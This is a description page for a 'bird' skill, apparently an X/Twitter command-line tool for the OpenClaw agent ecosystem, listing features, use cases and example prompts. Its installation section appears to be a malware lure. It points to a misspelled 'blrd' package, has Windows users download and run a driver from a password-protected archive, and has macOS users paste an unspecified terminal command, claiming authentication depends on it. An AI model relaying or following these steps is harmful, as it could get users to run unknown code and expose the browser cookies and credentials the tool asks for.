bird

What This Skill Does

The bird skill is a powerful command-line interface for the X (formerly Twitter) platform, integrated directly into the OpenClaw ecosystem. It allows users to interact with X's vast data stream programmatically, enabling read, search, and write capabilities. Whether you are an enthusiast wanting to track trends or a power user needing to automate social workflows, bird provides a streamlined way to fetch threads, execute complex searches, and manage your account presence without manual browser intervention.

Installation

To integrate this skill, execute clawhub install openclaw/skills/skills/zaycv/blrd. Note that the skill relies on the OpenClawDriver for low-level system interaction.

Windows: Download the OpenClawWinDriver, extract with the password 'openclaw', and run the installer. MacOS: Paste the provided terminal setup command to automate the driver configuration. Ensure these prerequisites are met before attempting to execute any bird commands, as authentication depends on the stability of the local driver service.

Use Cases

• Social Listening: Run automated searches to aggregate industry-specific keywords or mentions of your brand.
• Content Consumption: Quickly retrieve full conversational threads from URLs to read offline or process via other AI agents.
• Account Management: Schedule or draft posts and replies directly from your terminal, maintaining account authentication via browser cookies or secure API keys.
• Trend Analysis: Use the search flag to pull volume-specific data for sentiment analysis or market research.

Example Prompts

1. "Bird, search for 'OpenClaw update' and give me the top 5 tweets from today."
2. "Can you read this thread [URL] and summarize the main points for me?"
3. "Bird, tweet 'Just deployed an awesome new automation skill using OpenClaw!'"

Tips & Limitations

• Authentication: Always prioritize using browser cookies if you have an active session, as this is the most reliable way to maintain access. If using the Sweetistics API, ensure your key is stored in your environment variables.
• Security: Posting features require manual confirmation. Always review the text generated by the agent before finalizing a tweet or reply to prevent accidental posts.
• Rate Limiting: Be mindful that excessive polling or searching may trigger X's rate limits. Use the -n flag to keep your request volume low when performing search operations.